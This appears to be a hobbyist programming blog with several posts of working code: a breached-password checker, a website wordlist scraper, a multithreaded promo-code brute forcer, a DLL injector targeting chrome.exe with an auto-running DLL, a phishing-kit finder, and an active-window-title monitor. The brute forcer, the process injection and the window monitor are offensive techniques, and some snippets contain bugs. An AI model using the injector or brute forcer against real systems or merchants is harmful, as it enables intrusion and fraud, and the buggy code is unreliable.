Friday, February 22, 2019

Python - Use HaveIBeenPwned API to Check For Compromised Passwords

The recent "Collection 1" breach (https://www.troyhunt.com/the-773-million-record-collection-1-data-reach/) is a huge loss of usernames and passwords from hundreds of sources on the internet.  I obviously wanted to check if my credentials were compromised.  My usual course of action is going to HaveIBeenPwned (https://haveibeenpwned.com/) and throwing my e-mail addresses in to see if I pop up:


Of course, the list that comes back doesn't show the specific site it was compromised on, only "Collection 1".  As I use different passwords for all sites, I needed to know which password was actually compromised.

HaveIBeenPwned hosts a similar service where you can throw a password into a box and it'll see if that shows up in any leaks.  As I'm a pretty untrustworthy guy, I didn't want to type my passwords for banking and e-mail accounts into someone elses website.  However, it hosts an API where you can throw the first part of a SHA1 hash against it, and it'll return all suffixes where there's a match.  This fixed my problem of submitting cleartext passwords to a web service I don't trust.

I wrote the following Python script to parse the export of LastPass credentials (Go to your Vault -> More Options -> Advanced -> Export).  It'll only send the first 5 characters of the SHA1 hash, and if there's a match, it'll print the compromised password to the screen.


'''
To use:
-python password_breach_checker.py -e <path to lastpassexport.csv>
-python password_breach_checker.py -f <path to file, one password per line>
-python password_breach_checker.py -p <single password>
'''


import csv
import requests
import hashlib
import argparse

# Parses the CSV file from LastPass into a de-duped list
def parseLastPassExport(path):
 passes = set() # use a set for unique values
 with open(path) as f:
  reader = csv.DictReader(f)
  data = [r for r in reader] # parse the CSV using list comprehension
 for p in data: # for every row in the CSV, 
  passes.add(p['password']) # grab the password and add it to a set()
 return list(passes) # cast the set() to a list for ease of use
 

def checkPassword(p):
 apiUrl = 'https://api.pwnedpasswords.com/range/'
 fullHash =  hashlib.sha1(p).hexdigest().upper() #hash the whole password
 hashFirstFive = fullHash[:5] # pull first 5 for API call
 hashLast=fullHash[5:] # pull the rest for checking it against the returned values
 req = requests.get(apiUrl+hashFirstFive) # send the API call
 suffixes = req.text.split('\r\n') # split the results on newlines
 for suffix in suffixes: # for every suffix, 
  if hashLast in suffix: # if the last part of the hash is in the suffix, 
   print "Password compromised -> ", p # print it out
   

parser = argparse.ArgumentParser(description="Check passwords against cred dumps.")
parser.add_argument('-e', help="Path to LastPass data export")
parser.add_argument('-f', help="Path to file with passwords, one per line")
parser.add_argument('-p', help="single password to check")

if __name__ == "__main__":
 args = parser.parse_args()
 if args.e:
  passes = parseLastPassExport(args.e)
  for pw in passes:
   checkPassword(pw)
 elif args.f:
  with open(args.f) as f:
   passes = f.read().split()
   for pw in passes:
    checkPassword(pw)
 elif args.p:
  checkPassword(args.p)
 else:
  print "you done goofed!"

Wednesday, January 30, 2019

Python - HTML Word Extraction

Script to extract a wordlist from a website for use in promo code brute forcer

from BeautifulSoup import BeautifulSoup
import requests
import re

links=set()
html_page = requests.get("http://root.site.abxyz")
soup = BeautifulSoup(html_page.content)

for link in soup.findAll('a'):
 try:
  if 'http' in link.get('href'):
   links.add(link.get('href'))
 except:
  continue
 
print "links to parse: ", str(len(links))
wordlist = []
count = 0
for url in links:
 count = count + 1
 print "on", url, ", number", str(count), "of ", str(len(links))
 try:
  html = requests.get(url).content
  soup = BeautifulSoup(html)
  for script in soup(["script", "style"]):
   garbage = script.extract()
  text = soup.getText()
  lines = (line.strip() for line in text.splitlines())
  chunks = (phrase.strip() for line in lines for phrase in line.split("  "))
  text = '\n'.join(chunk for chunk in chunks if chunk)
  textArr = text.split()
  for word in textArr:
   wordlist.append(word)
  print "length of list is ", str(len(wordlist))
 except Exception as e:
  print "Error, ", str(e)
  continue
  
f=open('wordlist.txt', 'w')
for word in wordlist:
 f.write(text)
 f.write('\n')
 
f.close()

Friday, December 14, 2018

Promo/Coupon Code Brute Forcing

With the Christmas holiday coming up, I was on the hunt for some good promo codes to get some discounts.  I wrote a quick multi-threaded python script to run a dictionary attack against a URL that checks for valid codes.  It'll have to be slightly modified for every URL, but the framework is there...

import requests, json
from multiprocessing.dummy import Pool as ThreadPool 

pool = ThreadPool(4) # sets up 4 threads


#this builds the numbers that will be appended to the end of a word.
#i'm doing word5, word10, word15, etc..., as well as the year (word19)
nums=[]
for num in range(10):
 nums.append(str((num+1)*5)) #10,20,30, etc..
 nums.append("19") #just the year
 

words = set()
with open('words.txt') as f: #open words.txt (the dictionary)
 for line in f: #for each line, 
  words.add(line.strip().upper()) #change it to uppercase, take off the newline, and add just the base word to the array
  for num in nums: #and for every number in nums, 
   words.add(line.strip().upper()+num) #add it to the end of the word, and add the term to the array
   
print "guesses: ", str(len(words))
url1 = "http://site.site.xyx/promoLink?couponCode=" #first part of url to attack
url2 = "&field=x&field2=y" #second part of url to attack 


#this is the function that takes a word as an argument.  
#every thread will pull a word from the words array and run through this function with it
def guesser(word):
 url = url1+word+url2 #form the url to attempt
 req = requests.get(url) #send the request
 if req.status_code!=200: #if it doesn't get a 200 back, 
  print "Server might be blocking us!  Abort abort!"  #print out a warning
  break
 req = json.loads(req.text) # load the response into a json object
 if req['success']!=False: #if the 'success' element doesn't equal false, 
  print word, "WINNER WINNER CHICKEN DINNER!" 
  return word #return the word
 else: #otherwise, 
  print "Word: ", word
  return #return nothing
  
results = pool.map(guesser, list(words)) #this actually kicks off the threads
pool.close()
pool.join()
final = set()
for res in results:
 final.add(res)

f=open('hits.yay', 'w')
for result in final:
 f.write(result)
 f.write('\n')
 
f.close()
 

Monday, April 30, 2018

Super Simple Auto-Running DLL

This is the DLL I used in the DLL injector.  I actually changed it instead of a message box to just write a file into the c:\misc directory.

1:  #include "stdafx.h"  
2:  #include <fstream>  
3:    
4:  BOOL APIENTRY DllMain( HMODULE hModule,  
5:              DWORD ul_reason_for_call,  
6:              LPVOID lpReserved  
7:             )  
8:  {  
9:       std::ofstream myfile;  
10:    switch (ul_reason_for_call)  
11:    {  
12:    case DLL_PROCESS_ATTACH:  
13:            myfile.open("c:\\misc\\dllInjectTest.txt");  
14:            myfile << "Bomb Diggity!\n";  
15:            myfile.close();  
16:            break;  
17:    case DLL_THREAD_ATTACH:  
18:            myfile.open("c:\\misc\\dllInjectTest.txt");  
19:            myfile << "Bomb Diggity!\n";  
20:            myfile.close();  
21:    case DLL_THREAD_DETACH:  
22:    case DLL_PROCESS_DETACH:  
23:      break;  
24:    }  
25:    return TRUE;  
26:  }  

The DllMain function is what's executed when the DLL is loaded by a process or thread, or detached by the same.

Super Simple DLL Injector

Been wanting to do this for a VERY long time... This is a super simple (like as easy as you can get) DLL injector that I wrote to do some testing.  Here we go!


1:  #include "stdafx.h"  
2:  #include <Windows.h>  
3:  #include <iostream>  
4:  #include <TlHelp32.h>  
5:    
6:  using namespace std;  
7:    
8:  int main()  
9:  {  
10:       HANDLE hHandle = NULL;  
11:       HANDLE hSnapshot;  
12:       PROCESSENTRY32 entry;  
13:       entry.dwSize = sizeof(entry);  
14:       hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);  
15:       if (Process32First(hSnapshot, &entry) == TRUE)  
16:       {  
17:            while (Process32Next(hSnapshot, &entry) == TRUE)  
18:            {  
19:                 if (_tcscmp(entry.szExeFile, TEXT("chrome.exe")) == 0)  
20:                 {  
21:                      hHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);  
22:                      break;  
23:                 }  
24:            }  
25:       }  
26:       if (!hHandle)  
27:       {  
28:            printf("OpenProcess() Failed!\n");  
29:            return 1;  
30:       }  
31:       else  
32:       {  
33:            printf("Program (PID: %d) opened successfully\n", entry.th32ProcessID);  
34:    
35:            const char* path = "C:\\misc\\Dll1.dll";  
36:            LPVOID cave = VirtualAllocEx(hHandle, NULL, 25, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
37:            SIZE_T* bytesWritten = NULL;  
38:            BOOL successWriting = WriteProcessMemory(hHandle, cave, path, 25, bytesWritten);  
39:            if (successWriting)  
40:            {  
41:                 LPVOID loadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");  
42:                 if (!loadLibraryAddress)  
43:                 {  
44:                      DWORD dw = GetLastError();  
45:                      cout << "Error: " << dw << endl;  
46:                 }  
47:                 HANDLE remoteThread = CreateRemoteThread(hHandle, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibraryAddress, cave, NULL, NULL);  
48:            }  
49:            else  
50:            {  
51:                 DWORD dw = GetLastError();  
52:                 cout << "Error: " << dw << endl;  
53:            }  
54:       }  
55:       cin.get();  
56:  }  

All the way up to line 33 is almost a direct steal from the Firefall Auto-Trigger tool I wrote a while ago.  It finds a process by executable name, and obtains a handle to it with OpenProcess().  For this one, I used PROCESS_ALL_ACCESS to be able to write to it and start remote threads.

The interesting parts are line 35 and on.  Line 35 is just the path to a DLL on the system.  The DLL I wrote just pops up a message box saying "It worked!".  36 allocates enough memory to store that string.  Important to note to use the PAGE_EXECUTE_READWRITE permission so the code can be executed.  Line 38 writes that path into the newly allocated memory. 

If it was successful, line 41 gets the address of LoadLibraryA from kernel32.dll in the DLL injector process.  Since ASLR only randomizes on boot up, it'll be the same for every process, meaning the location of LoadLibraryA is the same in the DLL injector as it is in the target process.

Line 47 is the magic.  It'll start a remote thread that just calls LoadLibraryA, with the argument of my DLL path.  LoadLibraryA will import my DLL.  The DLL is written so that every time it's imported, it'll execute a block of code.  That code is the message box.

There's lots that can be fixed with this.  Trimming down permissions from PROCESS_ALL_ACCESS to only what's needed, dynamically figuring out how much size is needed for the VirtualAlloc by the length of the path, etc...

One thing interesting that I found out, is that I couldn't inject into built-in Windows processes like Calculator or Notepad.  It just kept giving me permission denied.  I tried using both 32-bit and 64-bit versions of the injector, but it still wouldn't work.  When I tried chrome.exe on a hunch, it worked no problem.  I'm still investigating why this is an issue.

Monday, March 26, 2018

Phish Kit Finder

Source article: https://duo.com/blog/phish-in-a-barrel-hunting-and-analyzing-phishing-kits-at-scale

Quite often, a script kiddie that exploits a website will just upload and extract a .zip file containing their phishing kit.  This usually includes .php, .html, image, and sometimes helpful README files.  What they *don't* do is turn off the directory listing feature of the web server.  This results in all their files being viewable to anyone that browses to the root of where they unpacked the zip.

By gathering phishing links, cutting them into parts, and checking each one for .zip files, you can sometimes find the original .zip they used.  Since the .zip is not displayable in the browser, you can download it.  Inside, the .php files usually have a destination mailing address of the attacker along with a subject line and other interesting tidbits, such as hacker group shout-outs, names/versions of the kit, etc...

Here's an example URL: 

http://codecrossroad.blogspot.com/this/is/a/phishing/link.html

It gets cut into the following URLs:

http://codecrossroad.blogspot.com/this/is/a/phishing/
http://codecrossroad.blogspot.com/this/is/a/
http://codecrossroad.blogspot.com/this/is/
http://codecrossroad.blogspot.com/this
http://codecrossroad.blogspot.com/


Each one is scraped, and checked for "<something>.zip" in the results.  If it finds it, it'll attempt to download at the initial path + the name of the .zip.  Ex:

http://codecrossroad.blogspot.com/this/is.zip


Direct attempts are also attempted at each split URL.  Ex:

http://codecrossroad.blogspot.com/this/is/a/phishing.zip
http://codecrossroad.blogspot.com/this/is/a.zip
etc...


Link shorteners are popular to deliver malicious links in e-mails.  The expander() function attempts to resolve them and then does the URL splitting.

For the initial testing, it's looking like ~10% of websites that I scrape in this method have the .zip uploaded.  Not too bad.


Enough talking, here's the code!


import requests, re, io, zipfile, os

urls = []
f = open("threatUrls_out.csv")
for line in f:
 urls.append(line.strip())
f.close()

def direct(url):
 try:
  r = re.findall('[^\/]+', url) #splits url into all parts
  starter = r[0] + "//" + r[1] + "/" #url = http://<site>/
  for el in range(len(r)-3): 
   starter = starter + r[el+2] + ".zip" #starter = starter + next path level
   data = requests.get(starter, timeout=3)
   if data.status_code==200:
    if data.content[:2]=='PK':
     f = open(r[1]+"_direct.zip", 'wb') #r[1] = domain
     f.write(data.content)
     f.close()
     print "\tDirect zip found and downloaded!"
   starter = starter[:-4]+'/' #removes .zip, adds / for next path level
  return 1
 except Exception as e:
  print "Error in direct(): ", str(e)
  return 0

def regex(url):
 try:
  r = re.findall('[^\/]+', url) #splits url into all parts
  starter = r[0] + "//" + r[1] + '/' #url = http://<site>/
  for el in range(len(r)-3):
   starter = starter + r[el+2]+'/' #adds slash to each path level
   data = requests.get(starter, timeout=3)
   if ".zip" in data.text:  #if there's a .zip anywhere on the html..
    regZipX = re.findall("([^\s<>=\"]+\.zip)", data.text) #find all of them with a regex
    if len(regZipX) > 0: #if it found some, 
     try:
      regZip = set(regZipX) #dedup them
      for zipName in regZip: #for all the .zips...
       data = requests.get(starter+zipName,timeout=3) #try to get them at the path + the regexed zip name
       if data.status_code==200:
        if data.content[:2]=='PK':
         f = open(r[1]+"_regex_"+zipName, 'wb')
         f.write(data.content)
         f.close()
         print "\tRegex Zip found and downloaded!"
     except Exception as e:
      print "Error in regexer...", str(e)
 except Exception as e:
  print "Error in regexer..." + str(e)

def emailParse():
 emails=set()
 path = '/home/me/phishkitfinder/'
 files = os.listdir(path)
 for file in files:
  if '.zip' in file:
   print "opening", file
   hit = re.search('(.*?)_', file)
   domain = hit.group(1)
   zipF = open(path+file)
   zipContent = zipF.read()
   zip = zipfile.ZipFile(io.BytesIO(zipContent), 'r')
   for fileName in zip.namelist():
    f = zip.open(fileName)
    contents = f.read()
    hit = re.findall("([\w_.+-]+\@[\w-]+\.\w+)", contents)
    if len(hit) > 0:
     for h in hit:
      emails.add((domain,h))
    f.close()
   os.rename('/home/me/phishkitfinder/'+file, '/home/me/phishkitfinder/processedKits/'+file)
 print "writing e-mails to file..."
 emailFile = open('emailsHarvested.txt', 'a')
 for email in emails:
  emailFile.write(email[0]+"\t"+email[1]+"\n")
 emailFile.close()

def expander(url):
 try:
  req = requests.get(url, allow_redirects=False, timeout=3)
  if req.status_code==302:
   url = req.headers['Location']
   return url
  else:
   return url
 except Exception as e:
  print "Error in expanderizer! ", str(e)
  return url
 
 
 
emails = set() #unique list of e-mail addresses

max = len(urls)
count = 0
  
for url in urls:
 count = count + 1
 print "on",count,"of",max,"(",url,")"
 if len(url) < 30:
  oldUrl = url
  url = expander(url)
  print "Original URL " + oldUrl + " expanded to " + url
 dir = direct(url) # try direct grabs
 reg = regex(url) # try parsing for .zip's

emailParse() # parse zips for e-mail addresses

Tuesday, July 25, 2017

Using Windows API to get Active Window Title

This program will print out the window title every time it changes.  It's a good example of using GetForegroundWindow(), GetWindowTextLength(), and GetWindowText().



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <Windows.h>
#include <iostream>
#include <string>

using namespace std;

void main()
{
 wstring oldTitle = TEXT("not_real_title");
 while (1)
 {
  HWND winHandle = GetForegroundWindow();
  if (winHandle) {
   int titleLen = GetWindowTextLength(winHandle) + 1;
   wstring winTitle(titleLen, '\0');
   int good = GetWindowText(winHandle, &winTitle[0], titleLen);
   
   if (good)
    if (winTitle!=oldTitle)
     wcout << winTitle << endl;
   oldTitle = winTitle;
   Sleep(50);
  }
 }
}

The one thing that held me up was the second argument to GetWindowText().  The second argument is the variable that holds the value of the window title.  Here's the function definition:

int WINAPI GetWindowText(
  _In_  HWND   hWnd,
  _Out_ LPTSTR lpString,
  _In_  int    nMaxCount
);

Since the second parameter is LPTSTR (Long Pointer T-String), I needed to specify the first element in the string ([0]) and use the address-of (&) to match the types up.  

Strings in C++ / Windows API are the worst.